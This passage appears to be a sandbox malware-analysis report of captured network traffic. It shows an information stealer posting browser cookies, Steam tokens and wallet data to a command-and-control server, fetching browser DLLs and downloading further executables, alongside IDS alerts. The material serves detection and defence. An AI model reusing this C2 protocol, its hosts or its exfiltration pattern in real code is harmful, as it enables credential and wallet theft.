2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HCAEHDHDAKJEBGCBKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file"------IIJJDGHJKKJEBFHJDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file"------DBAEHCGHIIIDHIECFHJD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="message"wallets------AKKKECBKKECGCAAAEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"files------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file"------IIIJECAEGDHIDHJKKKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="message"ybncbhylepme------CAFHIJDHDGDBFHIEHDGI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 2d 2d 0d 0a Data Ascii: ------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJKJEHJKJEBGHJJKEBGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/FunnyJellyfish.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 30 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008010001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49819 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50112 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50128 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49953 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE4CC60 PR_Recv,

0_2_6CE4CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
